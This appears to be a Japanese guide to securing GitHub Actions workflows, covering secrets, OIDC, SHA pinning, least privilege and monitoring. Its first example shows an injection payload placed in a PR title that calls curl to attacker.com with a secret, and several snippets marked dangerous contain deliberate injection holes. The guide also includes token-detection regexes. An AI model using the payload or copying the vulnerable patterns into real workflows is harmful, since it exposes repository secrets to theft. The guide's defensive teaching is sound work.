最終更新:
GitHub Actionsセキュリティガイド: ワークフローの安全な運用
GitHub Actionsのセキュリティリスク
GitHub Actionsは便利ですが、適切な対策を講じないと重大なセキュリティリスクを招きます。
主要なリスク
- シークレット漏洩 - 環境変数やログへの誤出力
- サプライチェーン攻撃 - 悪意のあるアクションの実行
- 権限昇格 - 過剰な権限付与
- コードインジェクション - ユーザー入力の不適切な処理
- クレデンシャルの永続化 - 長期間有効な認証情報
実際の攻撃例
# ❌ 危険: PRタイトルをそのまま実行
name: Vulnerable Workflow
on:
pull_request:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Echo PR title
run: echo "PR title: ${{ github.event.pull_request.title }}"
# 攻撃者がタイトルに `"; curl attacker.com?token=$SECRET "` を入れると実行される
この脆弱性により、機密情報が外部に送信される可能性があります。
シークレット管理のベストプラクティス
1. 環境変数ではなくSecretsを使う
# ❌ 危険: 直接記述
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Deploy
run: |
curl -X POST https://api.example.com/deploy \
-H "Authorization: Bearer sk_live_abc123xyz"
# ✅ 安全: Secretsを使用
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Deploy
run: |
curl -X POST https://api.example.com/deploy \
-H "Authorization: Bearer ${{ secrets.API_TOKEN }}"
2. Secretsのスコープを制限
# Repository Secretsではなく、Environment Secretsを使う
jobs:
deploy-production:
runs-on: ubuntu-latest
environment:
name: production # この環境にのみシークレットを公開
steps:
- name: Deploy
run: ./deploy.sh
env:
API_KEY: ${{ secrets.PRODUCTION_API_KEY }}
環境の保護ルール:
- Required reviewers(承認者が必要)
- Wait timer(待機時間を設定)
- Deployment branches(特定のブランチのみ)
3. ログへの漏洩を防ぐ
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Build
run: |
# デバッグ出力を避ける
npm run build
env:
SECRET_KEY: ${{ secrets.SECRET_KEY }}
# ❌ 危険: 環境変数を出力
- name: Debug (BAD)
run: env
# ✅ 安全: マスク処理
- name: Set masked value
run: |
echo "::add-mask::${{ secrets.SECRET_KEY }}"
echo "Secret is masked in logs"
4. Secretsのローテーション
// scripts/rotate-secrets.ts
import { Octokit } from '@octokit/rest';
import sodium from 'libsodium-wrappers';
async function rotateSecret(
owner: string,
repo: string,
secretName: string,
newValue: string
) {
const octokit = new Octokit({ auth: process.env.GITHUB_TOKEN });
// 公開鍵を取得
const { data: publicKey } = await octokit.actions.getRepoPublicKey({
owner,
repo,
});
// 暗号化
await sodium.ready;
const binkey = sodium.from_base64(publicKey.key, sodium.base64_variants.ORIGINAL);
const binsec = sodium.from_string(newValue);
const encBytes = sodium.crypto_box_seal(binsec, binkey);
const encrypted = sodium.to_base64(encBytes, sodium.base64_variants.ORIGINAL);
// Secretを更新
await octokit.actions.createOrUpdateRepoSecret({
owner,
repo,
secret_name: secretName,
encrypted_value: encrypted,
key_id: publicKey.key_id,
});
console.log(`Secret ${secretName} rotated successfully`);
}
// 使用例
rotateSecret('myorg', 'myrepo', 'API_TOKEN', 'new-token-value');
OIDC(OpenID Connect)による認証
長期間有効なトークンを避け、短命なトークンを動的に取得します。
AWS へのデプロイ(OIDC)
# .github/workflows/deploy-aws.yml
name: Deploy to AWS
on:
push:
branches: [main]
permissions:
id-token: write # OIDC トークン取得に必要
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
aws-region: us-east-1
- name: Deploy to S3
run: |
aws s3 sync ./dist s3://my-bucket/
AWS側の設定(Terraform):
# GitHub OIDC プロバイダー
resource "aws_iam_openid_connect_provider" "github" {
url = "https://token.actions.githubusercontent.com"
client_id_list = ["sts.amazonaws.com"]
thumbprint_list = [
"6938fd4d98bab03faadb97b34396831e3780aea1"
]
}
# IAM ロール
resource "aws_iam_role" "github_actions" {
name = "GitHubActionsRole"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Allow"
Principal = {
Federated = aws_iam_openid_connect_provider.github.arn
}
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
"token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
}
StringLike = {
"token.actions.githubusercontent.com:sub" = "repo:myorg/myrepo:*"
}
}
}
]
})
}
# S3への書き込み権限
resource "aws_iam_role_policy" "github_actions_s3" {
role = aws_iam_role.github_actions.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Allow"
Action = ["s3:PutObject", "s3:ListBucket"]
Resource = ["arn:aws:s3:::my-bucket/*", "arn:aws:s3:::my-bucket"]
}
]
})
}
Google Cloud へのデプロイ(OIDC)
name: Deploy to GCP
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Authenticate to Google Cloud
uses: google-github-actions/auth@v2
with:
workload_identity_provider: 'projects/123456789/locations/global/workloadIdentityPools/github/providers/github-provider'
service_account: 'github-actions@my-project.iam.gserviceaccount.com'
- name: Deploy to Cloud Run
run: |
gcloud run deploy myapp \
--image gcr.io/my-project/myapp:${{ github.sha }} \
--region us-central1
サプライチェーン攻撃対策
1. アクションのバージョンをハッシュで固定
# ❌ 危険: タグ参照(変更される可能性)
- uses: actions/checkout@v4
# ⚠️ より安全: セマンティックバージョン
- uses: actions/checkout@v4.1.1
# ✅ 最も安全: SHAハッシュで固定
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
自動化ツール:
# Dependabotで自動更新
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
2. サードパーティアクションの監査
# 信頼できるアクションのみ使用
jobs:
build:
runs-on: ubuntu-latest
steps:
# ✅ GitHub公式
- uses: actions/checkout@v4
# ✅ 検証済みクリエイター(青いバッジ)
- uses: docker/build-push-action@v5
# ⚠️ 個人アカウント - レビュー必須
- uses: random-user/unknown-action@v1
監査チェックリスト:
- 作者が信頼できるか(GitHub公式、検証済みクリエイター)
- スター数とフォーク数
- 最終更新日(メンテナンスされているか)
- ソースコードレビュー
- セキュリティ監査レポート
3. アクションのスコープを制限
# self-hosted runnerではアクションを制限
permissions:
actions: read
contents: read
# 他の権限は明示的に付与しない
権限の最小化(GITHUB_TOKEN)
デフォルト権限を制限
# リポジトリ設定: Settings → Actions → General → Workflow permissions
# "Read repository contents and packages permissions" を選択
# ワークフローごとに必要な権限のみ付与
name: Deploy
on: push
permissions:
contents: read # コードの読み取りのみ
id-token: write # OIDC用
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Deploy
run: ./deploy.sh
権限スコープの例
# 最小権限
permissions:
contents: read
# パッケージ公開
permissions:
contents: read
packages: write
# PRコメント
permissions:
contents: read
pull-requests: write
# リリース作成
permissions:
contents: write
# すべて拒否(サードパーティアクションのみ使用)
permissions: {}
コードインジェクション対策
1. ユーザー入力の適切な処理
# ❌ 危険: PRタイトルを直接実行
- name: Echo title (VULNERABLE)
run: echo "Title: ${{ github.event.pull_request.title }}"
# ✅ 安全: 環境変数経由
- name: Echo title (SAFE)
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"
2. pull_request_targetの安全な使用
pull_request_targetはフォークPRでもシークレットにアクセスできるため危険です。
# ❌ 危険: pull_request_targetでコードを実行
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run build # 攻撃者のコードが実行される
# ✅ 安全: pull_requestを使うか、チェックアウト前に検証
on:
pull_request_target:
jobs:
comment:
runs-on: ubuntu-latest
steps:
# コードをチェックアウトせず、コメントのみ
- name: Comment on PR
uses: actions/github-script@v7
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: 'Thank you for your contribution!'
})
3. スクリプトインジェクション防止
# ❌ 危険: GitHub Scriptでユーザー入力を直接使用
- uses: actions/github-script@v7
with:
script: |
const title = "${{ github.event.issue.title }}";
console.log(title);
# ✅ 安全: contextオブジェクトを使用
- uses: actions/github-script@v7
with:
script: |
const title = context.payload.issue.title;
console.log(title);
セキュリティ監査とモニタリング
1. Dependabotでの脆弱性検出
# .github/dependabot.yml
version: 2
updates:
# npm依存関係
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
# GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Docker
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
2. CodeQLによる静的解析
name: CodeQL Analysis
on:
push:
branches: [main]
pull_request:
branches: [main]
schedule:
- cron: '0 0 * * 1' # 毎週月曜日
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write
strategy:
matrix:
language: ['javascript', 'typescript', 'python']
steps:
- uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: ${{ matrix.language }}
- name: Autobuild
uses: github/codeql-action/autobuild@v3
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
3. セキュリティスコアカード
name: Scorecard
on:
schedule:
- cron: '0 0 * * 0' # 毎週日曜日
permissions: read-all
jobs:
analysis:
runs-on: ubuntu-latest
permissions:
security-events: write
id-token: write
steps:
- uses: actions/checkout@v4
- name: Run Scorecard
uses: ossf/scorecard-action@v2
with:
results_file: results.sarif
results_format: sarif
publish_results: true
- name: Upload to GitHub Security
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
4. ログ監視とアラート
name: Security Audit
on:
workflow_run:
workflows: ["*"]
types: [completed]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- name: Check for secret exposure
uses: actions/github-script@v7
with:
script: |
const { data: logs } = await github.rest.actions.downloadWorkflowRunLogs({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
// シークレットパターンの検出
const patterns = [
/AKIA[0-9A-Z]{16}/, // AWS Access Key
/sk_live_[0-9a-zA-Z]{24,}/, // Stripe
/ghp_[0-9a-zA-Z]{36}/, // GitHub Token
];
for (const pattern of patterns) {
if (pattern.test(logs)) {
core.setFailed('Potential secret exposure detected!');
}
}
Self-hosted Runnerのセキュリティ
1. 分離された環境
# パブリックリポジトリではself-hosted runnerを使わない
jobs:
build:
runs-on: ubuntu-latest # GitHub-hostedを使用
# プライベートリポジトリのみでself-hosted
jobs:
deploy:
runs-on: self-hosted
if: github.repository == 'myorg/private-repo'
2. Runnerの自動クリーンアップ
#!/bin/bash
# cleanup-runner.sh
# Dockerコンテナ内でジョブを実行
docker run --rm \
-v /var/run/docker.sock:/var/run/docker.sock \
-v $(pwd):/workspace \
-w /workspace \
myorg/runner:latest \
./run-job.sh
# 実行後にすべてをクリーンアップ
docker system prune -af
3. ネットワーク分離
# Runnerを専用のVPCに配置
# AWSの例
resource "aws_security_group" "runner" {
name_prefix = "github-runner-"
vpc_id = aws_vpc.main.id
egress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # HTTPSのみ許可
}
}
実践的なセキュアワークフロー
フロントエンドのデプロイ
name: Deploy Frontend
on:
push:
branches: [main]
permissions:
contents: read
id-token: write
jobs:
deploy:
runs-on: ubuntu-latest
environment:
name: production
url: https://myapp.com
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Setup Node
uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
with:
node-version: '20'
cache: 'npm'
- name: Install dependencies
run: npm ci
- name: Build
run: npm run build
env:
NEXT_PUBLIC_API_URL: ${{ vars.API_URL }}
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
- name: Deploy to S3
run: |
aws s3 sync ./out s3://${{ secrets.S3_BUCKET }}/ --delete
- name: Invalidate CloudFront
run: |
aws cloudfront create-invalidation \
--distribution-id ${{ secrets.CLOUDFRONT_DIST_ID }} \
--paths "/*"
バックエンドのCI/CD
name: Backend CI/CD
on:
pull_request:
branches: [main]
push:
branches: [main]
permissions:
contents: read
packages: write
security-events: write
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run tests
run: |
docker compose up -d postgres
npm ci
npm test
- name: Security scan
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
format: 'sarif'
output: 'trivy-results.sarif'
- name: Upload scan results
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: 'trivy-results.sarif'
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- name: Build Docker image
run: docker build -t myapp:${{ github.sha }} .
- name: Scan image
uses: aquasecurity/trivy-action@master
with:
image-ref: myapp:${{ github.sha }}
exit-code: '1'
severity: 'CRITICAL,HIGH'
- name: Push to registry
run: |
echo ${{ secrets.GITHUB_TOKEN }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin
docker tag myapp:${{ github.sha }} ghcr.io/${{ github.repository }}:latest
docker push ghcr.io/${{ github.repository }}:latest
まとめ
GitHub Actionsのセキュリティは、継続的な取り組みが必要です。
重要なポイント:
- シークレット管理 - Secrets、Environment、OIDC認証
- 権限最小化 - 必要な権限のみ付与
- サプライチェーン - アクションをSHAで固定、監査
- コードインジェクション - ユーザー入力を環境変数経由で処理
- 監視と監査 - CodeQL、Dependabot、Scorecard
チェックリスト:
- デフォルトのGITHUB_TOKEN権限を制限
- OIDC認証を使用(長期トークンを避ける)
- アクションをSHAハッシュで固定
- 環境保護ルールを設定
- CodeQLとDependabotを有効化
- pull_request_targetの使用を避ける
- ログに機密情報が出力されないか確認
セキュアなCI/CDパイプラインを構築することで、開発速度を維持しながら、組織のセキュリティ態勢を強化できます。